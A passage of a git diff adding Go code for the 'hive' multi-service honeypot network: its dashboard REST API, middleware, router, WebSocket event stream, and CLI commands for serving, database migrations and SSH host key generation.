credentialPair{ + Username: p.Username, + Password: p.Password, + Count: p.Count, + } + } + + s.writeJSON(w, http.StatusOK, apiResponse{ + Data: credentialStats{ + TopUsernames: topU, + TopPasswords: topP, + TopPairs: topPairs, + }, + }) +} + +func (s *Server) handleEvents( + w http.ResponseWriter, r *http.Request, +) { + ctx := r.Context() + limit, offset := parsePagination(r) + ip := r.URL.Query().Get("ip") + + if ip != "" { + events, err := s.store.FindByIP( + ctx, ip, limit, offset, + ) + if err != nil { + s.writeError( + w, http.StatusInternalServerError, + "failed to query events", + ) + return + } + s.writeJSON( + w, http.StatusOK, + apiResponse{Data: events}, + ) + return + } + + events, err := s.store.RecentEvents(ctx, limit) + if err != nil { + s.writeError( + w, http.StatusInternalServerError, + "failed to query events", + ) + return + } + + s.writeJSON( + w, http.StatusOK, apiResponse{Data: events}, + ) +} + +func (s *Server) handleSessions( + w http.ResponseWriter, r *http.Request, +) { + ctx := r.Context() + limit, offset := parsePagination(r) + service := r.URL.Query().Get("service") + + sessions, total, err := s.store.ListSessions( + ctx, service, limit, offset, + ) + if err != nil { + s.writeError( + w, http.StatusInternalServerError, + "failed to query sessions", + ) + return + } + + s.writeJSON(w, http.StatusOK, paginatedResponse{ + Data: sessions, + Total: total, + Limit: limit, + Offset: offset, + }) +} + +func (s *Server) handleSessionByID( + w http.ResponseWriter, r *http.Request, +) { + id := chi.URLParam(r, "id") + + sess, err := s.store.GetSession(r.Context(), id) + if err != nil { + s.writeError( + w, http.StatusNotFound, "session not found", + ) + return + } + + s.writeJSON( + w, http.StatusOK, apiResponse{Data: sess}, + ) +} + +func isValidSessionID(id string) bool { + if len(id) < 8 || len(id) > 64 { + return false + } + for _, c := range id { + if !((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || + (c >= '0' && c <= '9') || c == '-' || c == '_') { + return false + } + } + return true +} + +func (s *Server) handleSessionReplay( + w http.ResponseWriter, r *http.Request, +) { + id := chi.URLParam(r, "id") + + if !isValidSessionID(id) { + s.writeError( + w, http.StatusBadRequest, "invalid session id", + ) + return + } + + castPath := filepath.Join( + s.replayDir, fmt.Sprintf("%s.cast", id), + ) + + data, err := os.ReadFile(castPath) + if err != nil { + s.writeError( + w, http.StatusNotFound, "replay not found", + ) + return + } + + w.Header().Set( + "Content-Type", "application/x-asciicast", + ) + w.Header().Set( + "Content-Disposition", + fmt.Sprintf( + "inline; filename=\"%s.cast\"", id, + ), + ) + w.WriteHeader(http.StatusOK) + _, _ = w.Write(data) +} + +func (s *Server) handleAttackers( + w http.ResponseWriter, r *http.Request, +) { + ctx := r.Context() + since := time.Now().UTC().Add( + -parseDuration(r), + ) + limit, offset := parsePagination(r) + + attackers, err := s.store.TopAttackers( + ctx, since, limit, offset, + ) + if err != nil { + s.writeError( + w, http.StatusInternalServerError, + "failed to query attackers", + ) + return + } + + s.writeJSON( + w, http.StatusOK, apiResponse{Data: attackers}, + ) +} + +func (s *Server) handleAttackerByID( + w http.ResponseWriter, r *http.Request, +) { + idStr := chi.URLParam(r, "id") + id, err := strconv.ParseInt(idStr, 10, 64) + if err != nil { + s.writeError( + w, http.StatusBadRequest, + "invalid attacker id", + ) + return + } + + attacker, err := s.store.GetAttacker( + r.Context(), id, + ) + if err != nil { + s.writeError( + w, http.StatusNotFound, + "attacker not found", + ) + return + } + + s.writeJSON( + w, http.StatusOK, apiResponse{Data: attacker}, + ) +} + +func (s *Server) handleMITRETechniques( + w http.ResponseWriter, _ *http.Request, +) { + techniques := s.mitreIdx.All() + + infos := make([]techniqueInfo, len(techniques)) + for i, t := range techniques { + infos[i] = techniqueInfo{ + ID: t.ID, + Name: t.Name, + Tactic: t.Tactic, + } + } + + s.writeJSON( + w, http.StatusOK, apiResponse{Data: infos}, + ) +} + +func (s *Server) handleMITREHeatmap( + w http.ResponseWriter, r *http.Request, +) { + ctx := r.Context() + since := time.Now().UTC().Add( + -parseDuration(r), + ) + + counts, err := s.store.TechniqueHeatmap(ctx, since) + if err != nil { + s.writeError( + w, http.StatusInternalServerError, + "failed to query heatmap", + ) + return + } + + entries := make([]heatmapEntry, len(counts)) + for i, tc := range counts { + name := tc.TechniqueID + if t := s.mitreIdx.Get(tc.TechniqueID); t != nil { + name = t.Name + } + entries[i] = heatmapEntry{ + TechniqueID: tc.TechniqueID, + Name: name, + Tactic: tc.Tactic, + Count: tc.Count, + } + } + + s.writeJSON( + w, http.StatusOK, apiResponse{Data: entries}, + ) +} + +func (s *Server) handleIOCs( + w http.ResponseWriter, r *http.Request, +) { + ctx := r.Context() + limit, offset := parsePagination(r) + + iocs, total, err := s.store.ListIOCs( + ctx, limit, offset, + ) + if err != nil { + s.writeError( + w, http.StatusInternalServerError, + "failed to query iocs", + ) + return + } + + s.writeJSON(w, http.StatusOK, paginatedResponse{ + Data: iocs, + Total: total, + Limit: limit, + Offset: offset, + }) +} + +func (s *Server) handleIOCExportSTIX( + w http.ResponseWriter, r *http.Request, +) { + ctx := r.Context() + + iocs, _, err := s.store.ListIOCs( + ctx, maxPageLimit, 0, + ) + if err != nil { + s.writeError( + w, http.StatusInternalServerError, + "failed to query iocs", + ) + return + } + + bundle, err := intel.GenerateSTIXBundle(iocs) + if err != nil { + s.writeError( + w, http.StatusInternalServerError, + "failed to generate stix bundle", + ) + return + } + + w.Header().Set("Content-Type", "application/json") + w.Header().Set( + "Content-Disposition", + "attachment; filename=\"hive-iocs.stix.json\"", + ) + w.WriteHeader(http.StatusOK) + _, _ = w.Write(bundle) +} + +func (s *Server) handleIOCExportBlocklist( + w http.ResponseWriter, r *http.Request, +) { + ctx := r.Context() + format := r.URL.Query().Get("format") + if format == "" { + format = intel.FormatPlain + } + + iocs, _, err := s.store.ListIOCs( + ctx, maxPageLimit, 0, + ) + if err != nil { + s.writeError( + w, http.StatusInternalServerError, + "failed to query iocs", + ) + return + } + + blocklist := intel.GenerateBlocklist(iocs, format) + + contentType := "text/plain" + ext := ".txt" + if format == intel.FormatCSV { + contentType = "text/csv" + ext = ".csv" + } + + w.Header().Set("Content-Type", contentType) + w.Header().Set( + "Content-Disposition", + fmt.Sprintf( + "attachment; filename=\"hive-blocklist%s\"", + ext, + ), + ) + w.WriteHeader(http.StatusOK) + fmt.Fprint(w, blocklist) +} + +func (s *Server) handleSensors( + w http.ResponseWriter, _ *http.Request, +) { + var services []string + if s.cfg.SSH.Enabled { + services = append(services, "ssh") + } + if s.cfg.HTTP.Enabled { + services = append(services, "http") + } + if s.cfg.FTP.Enabled { + services = append(services, "ftp") + } + if s.cfg.SMB.Enabled { + services = append(services, "smb") + } + if s.cfg.MySQL.Enabled { + services = append(services, "mysql") + } + if s.cfg.Redis.Enabled { + services = append(services, "redis") + } + + sensor := sensorInfo{ + ID: s.cfg.Sensor.ID, + Hostname: s.cfg.Sensor.Hostname, + Region: s.cfg.Sensor.Region, + Services: services, + StartedAt: s.startedAt, + Status: "active", + } + + s.writeJSON(w, http.StatusOK, apiResponse{ + Data: []sensorInfo{sensor}, + }) +} + +func parsePagination(r *http.Request) (int, int) { + limit := defaultPageLimit + offset := 0 + + if v := r.URL.Query().Get("limit"); v != "" { + if n, err := strconv.Atoi(v); err == nil && n > 0 { + limit = n + } + } + + if limit > maxPageLimit { + limit = maxPageLimit + } + + if v := r.URL.Query().Get("offset"); v != "" { + if n, err := strconv.Atoi(v); err == nil && n >= 0 { + offset = n + } + } + + return limit, offset +} + +func parseDuration(r *http.Request) time.Duration { + v := r.URL.Query().Get("since") + if v == "" { + return defaultStatsDuration + } + + d, err := time.ParseDuration(v) + if err != nil { + return defaultStatsDuration + } + + return d +} diff --git a/PROJECTS/advanced/honeypot-network/internal/api/middleware.go b/PROJECTS/advanced/honeypot-network/internal/api/middleware.go new file mode 100644 index 00000000..4a71622a --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/api/middleware.go @@ -0,0 +1,160 @@ +/* +©AngelaMos | 2026 +middleware.go + +HTTP middleware chain for the dashboard REST API + +Provides request logging with structured JSON output, panic +recovery that returns 500 without crashing the process, and CORS +handling for browser-based dashboard clients. Each middleware is +a standard func(http.Handler) http.Handler closure. +*/ + +package api + +import ( + "bufio" + "fmt" + "net" + "net/http" + "time" + + "github.com/rs/zerolog" +) + +type statusWriter struct { + http.ResponseWriter + status int + size int +} + +func (w *statusWriter) WriteHeader(code int) { + w.status = code + w.ResponseWriter.WriteHeader(code) +} + +func (w *statusWriter) Write(b []byte) (int, error) { + n, err := w.ResponseWriter.Write(b) + w.size += n + return n, err +} + +func (w *statusWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) { + if hj, ok := w.ResponseWriter.(http.Hijacker); ok { + return hj.Hijack() + } + return nil, nil, fmt.Errorf( + "underlying ResponseWriter does not implement http.Hijacker", + ) +} + +func (w *statusWriter) Unwrap() http.ResponseWriter { + return w.ResponseWriter +} + +func requestLogger( + logger *zerolog.Logger, +) func(http.Handler) http.Handler { + return func(next http.Handler) http.Handler { + return http.HandlerFunc( + func( + w http.ResponseWriter, + r *http.Request, + ) { + start := time.Now() + sw := &statusWriter{ + ResponseWriter: w, + status: http.StatusOK, + } + + next.ServeHTTP(sw, r) + + logger.Info(). + Str("method", r.Method). + Str("path", r.URL.Path). + Int("status", sw.status). + Int("bytes", sw.size). + Dur("latency", time.Since(start)). + Str("remote", r.RemoteAddr). + Msg("api request") + }, + ) + } +} + +func recoverer( + logger *zerolog.Logger, +) func(http.Handler) http.Handler { + return func(next http.Handler) http.Handler { + return http.HandlerFunc( + func( + w http.ResponseWriter, + r *http.Request, + ) { + defer func() { + if rec := recover(); rec != nil { + logger.Error(). + Interface("panic", rec). + Str("path", r.URL.Path). + Str("method", r.Method). + Msg("recovered from panic") + http.Error( + w, + http.StatusText( + http.StatusInternalServerError, + ), + http.StatusInternalServerError, + ) + } + }() + next.ServeHTTP(w, r) + }, + ) + } +} + +func corsMiddleware( + origins []string, +) func(http.Handler) http.Handler { + allowed := make(map[string]bool, len(origins)) + for _, o := range origins { + allowed[o] = true + } + + return func(next http.Handler) http.Handler { + return http.HandlerFunc( + func( + w http.ResponseWriter, + r *http.Request, + ) { + origin := r.Header.Get("Origin") + if allowed[origin] || allowed["*"] { + w.Header().Set( + "Access-Control-Allow-Origin", + origin, + ) + } + + w.Header().Set( + "Access-Control-Allow-Methods", + "GET, POST, OPTIONS", + ) + w.Header().Set( + "Access-Control-Allow-Headers", + "Content-Type, Authorization", + ) + w.Header().Set( + "Access-Control-Max-Age", + corsMaxAgeSeconds, + ) + + if r.Method == http.MethodOptions { + w.WriteHeader(http.StatusNoContent) + return + } + + next.ServeHTTP(w, r) + }, + ) + } +} diff --git a/PROJECTS/advanced/honeypot-network/internal/api/router.go b/PROJECTS/advanced/honeypot-network/internal/api/router.go new file mode 100644 index 00000000..b2a1a55a --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/api/router.go @@ -0,0 +1,179 @@ +/* +©AngelaMos | 2026 +router.go + +Chi-based HTTP router for the hive dashboard API + +Mounts all REST endpoints and the WebSocket handler behind a +middleware chain of panic recovery, CORS, and request logging. +Implements the types.Service interface so the API server +participates in the errgroup-managed lifecycle alongside the +honeypot services. +*/ + +package api + +import ( + "context" + "fmt" + "net/http" + "time" + + "github.com/go-chi/chi/v5" + "github.com/rs/zerolog" + + "github.com/CarterPerez-dev/hive/internal/config" + "github.com/CarterPerez-dev/hive/internal/event" + "github.com/CarterPerez-dev/hive/internal/mitre" + "github.com/CarterPerez-dev/hive/internal/session" + "github.com/CarterPerez-dev/hive/internal/store" + "github.com/CarterPerez-dev/hive/pkg/types" +) + +const ( + defaultPageLimit = 50 + maxPageLimit = 500 + defaultStatsDuration = 24 * time.Hour + defaultCredentialTop = 20 + defaultAttackerTop = 50 + corsMaxAgeSeconds = "86400" + wsEventBuffer = 256 +) + +type Server struct { + store store.Store + bus *event.Bus + mitreIdx *mitre.Index + tracker *session.Tracker + cfg *config.Config + logger *zerolog.Logger + router *chi.Mux + replayDir string + startedAt time.Time +} + +func New( + db store.Store, + bus *event.Bus, + mitreIdx *mitre.Index, + tracker *session.Tracker, + cfg *config.Config, + logger *zerolog.Logger, +) *Server { + s := &Server{ + store: db, + bus: bus, + mitreIdx: mitreIdx, + tracker: tracker, + cfg: cfg, + logger: logger, + replayDir: cfg.Log.ReplayDir, + startedAt: time.Now().UTC(), + } + + s.router = s.buildRouter() + return s +} + +func (s *Server) Name() string { + return "api" +} + +func (s *Server) Start(ctx context.Context) error { + addr := s.cfg.Addr(s.cfg.API.Port) + + srv := &http.Server{ + Addr: addr, + Handler: s.router, + ReadTimeout: s.cfg.API.ReadTimeout, + WriteTimeout: s.cfg.API.WriteTimeout, + } + + go func() { + <-ctx.Done() + shutdownCtx, cancel := context.WithTimeout( + context.Background(), + config.DefaultShutdownTimeout, + ) + defer cancel() + _ = srv.Shutdown(shutdownCtx) + }() + + s.logger.Info(). + Str("addr", addr). + Msg("api server listening") + + if err := srv.ListenAndServe(); err != nil && + err != http.ErrServerClosed { + return fmt.Errorf("api server: %w", err) + } + + return nil +} + +func (s *Server) buildRouter() *chi.Mux { + r := chi.NewRouter() + + r.Use(recoverer(s.logger)) + r.Use(corsMiddleware(s.cfg.API.CORSOrigins)) + r.Use(requestLogger(s.logger)) + + r.Route("/api", func(r chi.Router) { + r.Get("/health", s.handleHealth) + + r.Route("/stats", func(r chi.Router) { + r.Get("/overview", s.handleStatsOverview) + r.Get("/countries", s.handleStatsCountries) + r.Get( + "/credentials", + s.handleStatsCredentials, + ) + }) + + r.Route("/events", func(r chi.Router) { + r.Get("/", s.handleEvents) + }) + + r.Route("/sessions", func(r chi.Router) { + r.Get("/", s.handleSessions) + r.Get("/{id}", s.handleSessionByID) + r.Get( + "/{id}/replay", + s.handleSessionReplay, + ) + }) + + r.Route("/attackers", func(r chi.Router) { + r.Get("/", s.handleAttackers) + r.Get("/{id}", s.handleAttackerByID) + }) + + r.Route("/mitre", func(r chi.Router) { + r.Get( + "/techniques", + s.handleMITRETechniques, + ) + r.Get("/heatmap", s.handleMITREHeatmap) + }) + + r.Route("/iocs", func(r chi.Router) { + r.Get("/", s.handleIOCs) + r.Get( + "/export/stix", + s.handleIOCExportSTIX, + ) + r.Get( + "/export/blocklist", + s.handleIOCExportBlocklist, + ) + }) + + r.Get("/sensors", s.handleSensors) + }) + + r.Get("/ws/events", s.handleWebSocket) + + return r +} + +var _ types.Service = (*Server)(nil) diff --git a/PROJECTS/advanced/honeypot-network/internal/api/websocket.go b/PROJECTS/advanced/honeypot-network/internal/api/websocket.go new file mode 100644 index 00000000..2a0f39a4 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/api/websocket.go @@ -0,0 +1,83 @@ +/* +©AngelaMos | 2026 +websocket.go + +Real-time event streaming over WebSocket + +Clients connect to /ws/events and receive a JSON stream of honeypot +events as they occur. Each connection subscribes to the event bus +all-topic and forwards events as text frames until the client +disconnects or the server shuts down. +*/ + +package api + +import ( + "encoding/json" + "net/http" + + "nhooyr.io/websocket" + + "github.com/CarterPerez-dev/hive/internal/config" +) + +func (s *Server) handleWebSocket( + w http.ResponseWriter, r *http.Request, +) { + conn, err := websocket.Accept(w, r, &websocket.AcceptOptions{ + OriginPatterns: s.cfg.API.CORSOrigins, + }) + if err != nil { + s.logger.Error().Err(err). + Msg("websocket accept failed") + return + } + defer func() { _ = conn.CloseNow() }() + + ctx := r.Context() + + events := s.bus.Subscribe( + wsEventBuffer, config.TopicAll, + ) + defer s.bus.Unsubscribe(events) + + s.logger.Debug(). + Str("remote", r.RemoteAddr). + Msg("websocket client connected") + + for { + select { + case <-ctx.Done(): + _ = conn.Close( + websocket.StatusNormalClosure, + "server shutting down", + ) + return + + case ev, ok := <-events: + if !ok { + _ = conn.Close( + websocket.StatusNormalClosure, + "event bus closed", + ) + return + } + + data, marshalErr := json.Marshal(ev) + if marshalErr != nil { + s.logger.Error().Err(marshalErr). + Msg("marshaling websocket event") + continue + } + + if writeErr := conn.Write( + ctx, websocket.MessageText, data, + ); writeErr != nil { + s.logger.Debug(). + Str("remote", r.RemoteAddr). + Msg("websocket client disconnected") + return + } + } + } +} diff --git a/PROJECTS/advanced/honeypot-network/internal/cli/keygen.go b/PROJECTS/advanced/honeypot-network/internal/cli/keygen.go new file mode 100644 index 00000000..e97e58bc --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/cli/keygen.go @@ -0,0 +1,83 @@ +/* +©AngelaMos | 2026 +keygen.go + +Generate and persist an Ed25519 SSH host key + +Writes a PEM-encoded private key to disk for use by the SSH +honeypot. The key is used to present a stable host fingerprint +across restarts so that returning attackers see the same server +identity. +*/ + +package cli + +import ( + "crypto/ed25519" + "crypto/rand" + "crypto/x509" + "encoding/pem" + "fmt" + "os" + "path/filepath" + + "github.com/spf13/cobra" +) + +func newKeygenCmd() *cobra.Command { + var outputPath string + + cmd := &cobra.Command{ + Use: "keygen", + Short: "Generate an SSH host key", + RunE: func(cmd *cobra.Command, args []string) error { + return generateHostKey(outputPath) + }, + } + + cmd.Flags().StringVarP( + &outputPath, + "output", "o", + "data/hostkey_ed25519", + "Output path for the private key", + ) + + return cmd +} + +func generateHostKey(path string) error { + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + return fmt.Errorf("creating key directory: %w", err) + } + + _, priv, err := ed25519.GenerateKey(rand.Reader) + if err != nil { + return fmt.Errorf("generating key: %w", err) + } + + der, err := x509.MarshalPKCS8PrivateKey(priv) + if err != nil { + return fmt.Errorf("marshaling key: %w", err) + } + + block := &pem.Block{ + Type: "PRIVATE KEY", + Bytes: der, + } + + f, err := os.OpenFile( + path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0o600, + ) + if err != nil { + return fmt.Errorf("creating key file: %w", err) + } + defer func() { _ = f.Close() }() + + if err := pem.Encode(f, block); err != nil { + return fmt.Errorf("writing key: %w", err) + } + + fmt.Printf(" %s Host key written to %s\n", "✓", path) + + return nil +} diff --git a/PROJECTS/advanced/honeypot-network/internal/cli/migrate.go b/PROJECTS/advanced/honeypot-network/internal/cli/migrate.go new file mode 100644 index 00000000..00ac28bb --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/cli/migrate.go @@ -0,0 +1,93 @@ +/* +©AngelaMos | 2026 +migrate.go + +Database migration subcommands using goose + +Provides up, down, and status subcommands to manage the PostgreSQL +schema lifecycle. Migrations are loaded from the migrations directory +specified in the configuration file. +*/ + +package cli + +import ( + "database/sql" + "fmt" + + _ "github.com/jackc/pgx/v5/stdlib" + "github.com/pressly/goose/v3" + "github.com/spf13/cobra" +) + +func newMigrateCmd() *cobra.Command { + cmd := &cobra.Command{ + Use: "migrate", + Short: "Run database migrations", + } + + cmd.AddCommand( + newMigrateUpCmd(), + newMigrateDownCmd(), + newMigrateStatusCmd(), + ) + + return cmd +} + +func newMigrateUpCmd() *cobra.Command { + return &cobra.Command{ + Use: "up", + Short: "Apply all pending migrations", + RunE: func(cmd *cobra.Command, args []string) error { + return withDB(func(db *sql.DB, dir string) error { + return goose.Up(db, dir) + }) + }, + } +} + +func newMigrateDownCmd() *cobra.Command { + return &cobra.Command{ + Use: "down", + Short: "Roll back the last migration", + RunE: func(cmd *cobra.Command, args []string) error { + return withDB(func(db *sql.DB, dir string) error { + return goose.Down(db, dir) + }) + }, + } +} + +func newMigrateStatusCmd() *cobra.Command { + return &cobra.Command{ + Use: "status", + Short: "Show migration status", + RunE: func(cmd *cobra.Command, args []string) error { + return withDB(func(db *sql.DB, dir string) error { + return goose.Status(db, dir) + }) + }, + } +} + +func withDB( + fn func(db *sql.DB, dir string) error, +) error { + cfg, err := loadConfig() + if err != nil { + return fmt.Errorf("loading config: %w", err) + } + + db, err := sql.Open("pgx", cfg.Database.DSN) + if err != nil { + return fmt.Errorf("connecting to database: %w", err) + } + defer func() { _ = db.Close() }() + + if err := goose.SetDialect("postgres"); err != nil { + return fmt.Errorf("setting dialect: %w", err) + } + + return fn(db, cfg.Database.MigrationsPath) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/cli/root.go b/PROJECTS/advanced/honeypot-network/internal/cli/root.go new file mode 100644 index 00000000..2c5b79e4 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/cli/root.go @@ -0,0 +1,113 @@ +/* +©AngelaMos | 2026 +root.go + +Cobra root command and CLI entry point for hive + +Configures the root command with global persistent flags and +registers all subcommands. Signal handling via NotifyContext +ensures graceful shutdown on SIGINT/SIGTERM. +*/ + +package cli + +import ( + "context" + "fmt" + "os" + "os/signal" + "syscall" + + "github.com/fatih/color" + "github.com/spf13/cobra" + + "github.com/CarterPerez-dev/hive/internal/config" + "github.com/CarterPerez-dev/hive/internal/ui" +) + +var ( + flagConfig string + flagVerbose bool + flagNoColor bool +) + +func Execute() { + os.Exit(run()) +} + +func run() int { + ctx, cancel := signal.NotifyContext( + context.Background(), + syscall.SIGINT, + syscall.SIGTERM, + ) + defer cancel() + + if err := newRootCmd().ExecuteContext(ctx); err != nil { + fmt.Fprintf(os.Stderr, "Error: %v\n", err) + return 1 + } + return 0 +} + +func newRootCmd() *cobra.Command { + root := &cobra.Command{ + Use: "hive", + Short: "Multi-service honeypot network", + Long: `hive deploys a network of realistic honeypots (SSH, HTTP, FTP, +SMB, MySQL, Redis) that capture attacker behavior, map activity to +MITRE ATT&CK techniques, and generate threat intelligence.`, + SilenceUsage: true, + SilenceErrors: true, + PersistentPreRun: func(cmd *cobra.Command, args []string) { + if flagNoColor { + color.NoColor = true + } + }, + } + + pflags := root.PersistentFlags() + pflags.StringVarP( + &flagConfig, + "config", "c", + config.DefaultConfigPath, + "Path to config file", + ) + pflags.BoolVarP( + &flagVerbose, + "verbose", "v", + false, + "Enable verbose logging", + ) + pflags.BoolVar( + &flagNoColor, + "no-color", + false, + "Disable colored output", + ) + + root.AddCommand( + newServeCmd(), + newMigrateCmd(), + newKeygenCmd(), + newVersionCmd(), + ) + + return root +} + +func newVersionCmd() *cobra.Command { + return &cobra.Command{ + Use: "version", + Short: "Print version information", + Run: func(cmd *cobra.Command, args []string) { + ui.PrintBanner() + fmt.Printf(" Version: %s\n", config.ToolVersion) + fmt.Printf(" Module: github.com/CarterPerez-dev/hive\n") + }, + } +} + +func loadConfig() (*config.Config, error) { + return config.Load(flagConfig) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/cli/serve.go b/PROJECTS/advanced/honeypot-network/internal/cli/serve.go new file mode 100644 index 00000000..2a2cd594 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/cli/serve.go @@ -0,0 +1,268 @@ +/* +©AngelaMos | 2026 +serve.go + +The serve subcommand starts all honeypot services + +Loads configuration, connects to PostgreSQL and Redis, creates the +event bus, instantiates each enabled honeypot service, wires them +into an errgroup, and blocks until signal or error. Every service +implements types.Service and runs in its own goroutine. +*/ + +package cli + +import ( + "context" + "fmt" + "os" + "time" + + "github.com/rs/zerolog" + "github.com/spf13/cobra" + "golang.org/x/sync/errgroup" + "golang.org/x/time/rate" + + "github.com/CarterPerez-dev/hive/internal/api" + "github.com/CarterPerez-dev/hive/internal/config" + "github.com/CarterPerez-dev/hive/internal/event" + "github.com/CarterPerez-dev/hive/internal/ftpd" + "github.com/CarterPerez-dev/hive/internal/geo" + "github.com/CarterPerez-dev/hive/internal/httpd" + "github.com/CarterPerez-dev/hive/internal/mitre" + "github.com/CarterPerez-dev/hive/internal/mysqld" + "github.com/CarterPerez-dev/hive/internal/ratelimit" + "github.com/CarterPerez-dev/hive/internal/redisd" + "github.com/CarterPerez-dev/hive/internal/session" + "github.com/CarterPerez-dev/hive/internal/smbd" + "github.com/CarterPerez-dev/hive/internal/sshd" + "github.com/CarterPerez-dev/hive/internal/store" + "github.com/CarterPerez-dev/hive/internal/ui" + "github.com/CarterPerez-dev/hive/pkg/types" +) + +func newServeCmd() *cobra.Command { + return &cobra.Command{ + Use: "serve", + Short: "Start all honeypot services", + Long: `Start the honeypot network with all enabled services. Each +protocol honeypot runs in its own goroutine, publishing events +to a shared event bus for processing and storage.`, + RunE: func(cmd *cobra.Command, args []string) error { + return runServe(cmd.Context()) + }, + } +} + +func runServe(ctx context.Context) error { + cfg, err := loadConfig() + if err != nil { + return fmt.Errorf("loading config: %w", err) + } + + logger := buildLogger(cfg) + + ui.PrintBanner() + + bus := event.NewBus() + defer bus.Shutdown() + + tracker := session.NewTracker() + limiter := ratelimit.NewIPLimiter( + rate.Every(config.DefaultRateLimitInterval), + config.DefaultRateLimitBurst, + ) + defer limiter.Stop() + + detector := mitre.NewDetector() + + pgStore, err := store.NewPgxStore(ctx, cfg.Database.DSN) + if err != nil { + return fmt.Errorf("connecting to database: %w", err) + } + defer pgStore.Close() + + if err := pgStore.EnsurePartitions(ctx); err != nil { + return fmt.Errorf("creating table partitions: %w", err) + } + + redisStreamer, err := store.NewRedisStreamer( + cfg.Stream.URL, cfg.Stream.Password, + ) + if err != nil { + return fmt.Errorf("connecting to redis stream: %w", err) + } + defer func() { _ = redisStreamer.Close() }() + + geoLookup, err := geo.NewLookup(cfg.GeoIP.DBPath) + if err != nil { + return fmt.Errorf("loading geoip database: %w", err) + } + defer func() { _ = geoLookup.Close() }() + + tracker.SetOnStart(func(sess *types.Session) { + if err := pgStore.InsertSession(ctx, sess); err != nil { + logger.Error().Err(err). + Str("session_id", sess.ID). + Msg("failed to persist session start") + } + }) + + tracker.SetOnEnd(func(sess *types.Session) { + if err := pgStore.UpdateSession(ctx, sess); err != nil { + logger.Error().Err(err). + Str("session_id", sess.ID). + Msg("failed to persist session end") + } + }) + + proc := event.NewProcessor( + config.DefaultProcessorWorkers, + bus, + pgStore, + redisStreamer, + geoLookup, + detector, + logger, + ) + + services := buildServices( + cfg, bus, &logger, tracker, limiter, + ) + + apiSvc := api.New( + pgStore, bus, detector.Index(), + tracker, cfg, &logger, + ) + services = append(services, apiSvc) + + logger.Info(). + Int("services", len(services)). + Msg("starting honeypot network") + + for _, svc := range services { + logger.Info(). + Str("service", svc.Name()). + Msg("service enabled") + } + + g, ctx := errgroup.WithContext(ctx) + + g.Go(func() error { + return proc.Start(ctx) + }) + + for _, svc := range services { + svc := svc + g.Go(func() error { + return svc.Start(ctx) + }) + } + + return g.Wait() +} + +func buildLogger(cfg *config.Config) zerolog.Logger { + level := zerolog.InfoLevel + if flagVerbose { + level = zerolog.DebugLevel + } + + switch cfg.Log.Level { + case "debug": + level = zerolog.DebugLevel + case "warn": + level = zerolog.WarnLevel + case "error": + level = zerolog.ErrorLevel + } + + if cfg.Log.JSONFormat { + return zerolog.New(os.Stdout). + Level(level). + With(). + Timestamp(). + Str("sensor", cfg.Sensor.ID). + Logger() + } + + return zerolog.New( + zerolog.ConsoleWriter{ + Out: os.Stdout, + TimeFormat: time.Kitchen, + }, + ).Level(level). + With(). + Timestamp(). + Str("sensor", cfg.Sensor.ID). + Logger() +} + +func buildServices( + cfg *config.Config, + bus *event.Bus, + logger *zerolog.Logger, + tracker *session.Tracker, + limiter *ratelimit.IPLimiter, +) []types.Service { + var services []types.Service + + if cfg.SSH.Enabled { + hostkey, err := sshd.LoadOrGenerateHostKey( + cfg.SSH.HostKeyPath, + ) + if err != nil { + logger.Error().Err(err). + Msg("ssh host key unavailable") + } else { + services = append(services, + sshd.New( + cfg, bus, logger, + tracker, limiter, hostkey, + ), + ) + } + } + + if cfg.HTTP.Enabled { + services = append(services, + httpd.New( + cfg, bus, logger, tracker, limiter, + ), + ) + } + + if cfg.FTP.Enabled { + services = append(services, + ftpd.New( + cfg, bus, logger, tracker, limiter, + ), + ) + } + + if cfg.SMB.Enabled { + services = append(services, + smbd.New( + cfg, bus, logger, tracker, limiter, + ), + ) + } + + if cfg.MySQL.Enabled { + services = append(services, + mysqld.New( + cfg, bus, logger, tracker, limiter, + ), + ) + } + + if cfg.Redis.Enabled { + services = append(services, + redisd.New( + cfg, bus, logger, tracker, limiter, + ), + ) + } + + return services +} diff --git a/PROJECTS/advanced/honeypot-network/internal/config/config.go b/PROJECTS/advanced/honeypot-network/internal/config/config.go new file mode 100644 index 00000000..ad663502 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/config/config.go @@ -0,0 +1,279 @@ +/* +©AngelaMos | 2026 +config.go + +Configuration loading and validation for the hive honeypot network + +Loads configuration from a YAML file with environment variable +overrides using the HIVE_ prefix. Each honeypot service has its +own sub-config controlling port, enabled state, and protocol-specific +options. Default() returns a fully populated config suitable for +local development. +*/ + +package config + +import ( + "fmt" + "os" + "strconv" + "strings" + "time" + + "gopkg.in/yaml.v3" +) + +type Config struct { + Sensor SensorConfig `yaml:"sensor"` + SSH SSHConfig `yaml:"ssh"` + HTTP HTTPConfig `yaml:"http"` + FTP FTPConfig `yaml:"ftp"` + SMB SMBConfig `yaml:"smb"` + MySQL MySQLConfig `yaml:"mysql"` + Redis RedisConfig `yaml:"redis"` + Database DatabaseConfig `yaml:"database"` + Stream StreamConfig `yaml:"stream"` + API APIConfig `yaml:"api"` + GeoIP GeoIPConfig `yaml:"geoip"` + Log LogConfig `yaml:"log"` +} + +type SensorConfig struct { + ID string `yaml:"id"` + Hostname string `yaml:"hostname"` + Region string `yaml:"region"` +} + +type SSHConfig struct { + Enabled bool `yaml:"enabled"` + Port int `yaml:"port"` + Banner string `yaml:"banner"` + HostKeyPath string `yaml:"host_key_path"` + Hostname string `yaml:"hostname"` + Timeout time.Duration `yaml:"timeout"` +} + +type HTTPConfig struct { + Enabled bool `yaml:"enabled"` + Port int `yaml:"port"` + ServerHeader string `yaml:"server_header"` + TLSEnabled bool `yaml:"tls_enabled"` + TLSPort int `yaml:"tls_port"` +} + +type FTPConfig struct { + Enabled bool `yaml:"enabled"` + Port int `yaml:"port"` + Banner string `yaml:"banner"` 